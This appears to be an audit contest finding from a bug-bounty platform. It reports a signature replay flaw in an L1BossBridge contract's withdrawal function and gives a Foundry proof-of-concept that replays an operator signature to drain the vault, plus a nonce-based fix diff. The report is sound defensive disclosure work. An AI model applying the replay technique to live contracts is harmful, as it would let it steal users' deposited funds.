Submission Details
Severity:
Possible signature replay attack
[H-4] Possible signature replay attack
Description:
The withdrawTokensToL1 method allows specifying the signature properties (v,r,s). If user A deposits 10 tokens and then withdraws them he could check what was the request send by the bridge operator and save it. Later when there are more tokens in the vault he could execute the same request and receive tokens not intended for him.
Impact:
High
Tools used:
foundry
Proof of Concept:
/// Via signature replay attack user can withdraw whole vault balance
function testForSignatureReplayAttack() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
vm.stopPrank();
// attackedUser is funded with some ERC20 tokens
address attackedUser = makeAddr("attackedUser");
vm.prank(deployer);
token.transfer(attackedUser, 500e18);
uint256 attackedUserDepositAmount = depositAmount;
vm.startPrank(attackedUser);
token.approve(address(tokenBridge), attackedUserDepositAmount);
tokenBridge.depositTokensToL2(attackedUser, userInL2, attackedUserDepositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount + attackedUserDepositAmount);
for(uint i = 0; i< 2; i++) {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
assert(token.balanceOf(user) > userInitialBalance);
assertEq(token.balanceOf(user), userInitialBalance + attackedUserDepositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}
Recommended Mitigation:
Replaying signature attack could be avoided without adding the nonce parameter, but this would block similar withdrawals from happening. Use nonce so the signer can set this incremental value.
diff --git a/src/L1BossBridge.sol b/src/L1BossBridge.sol
index 3f73626..f1280ed 100644
--- a/src/L1BossBridge.sol
+++ b/src/L1BossBridge.sol
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
mapping(address account => uint256 amount) public amountDeposited;
+ mapping(bytes32 => bool) public executedMessages;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
/// (H-4) replay signature attack, prevent it by adding nonce to the signature
/// (H-2) user can withdraw bigger amount than deposited
/// (H-3) how to check if tokens are actually being withdrawn to an address that deposited to l2
- function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ function withdrawTokensToL1(address to, uint256 amount, uint256 nonce, uint8 v, bytes32 r, bytes32 s) external {
require(amount <= amountDeposited[to], "L1BossBridge: amount is less than deposited");
amountDeposited[to] -= amount;
sendToL1(
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
abi.encode(
address(token),
0, // value
- abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
+ abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount)),
+ nonce
)
);
}
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param message The message/data to be sent to L1 (can be blank)
*/
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
- address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
+ bytes32 messageHash = keccak256(message);
+ address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(messageHash), v, r, s);
+ require(executedMessages[messageHash] == false, "Transfer already executed");
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
-
- (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));
-
+ executedMessages[messageHash] = true;
+
+ (address target, uint256 value, bytes memory data, ) = abi.decode(message, (address, uint256, bytes, uint256));
(bool success,) = target.call{ value: value }(data);
if (!success) {
revert L1BossBridge__CallFailed();
Updates
Lead Judging Commences
0xnevi over 1 year ago
Submission Judgement Published Assigned finding tags:
withdrawTokensToL1()/sendToL1(): signature replay
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.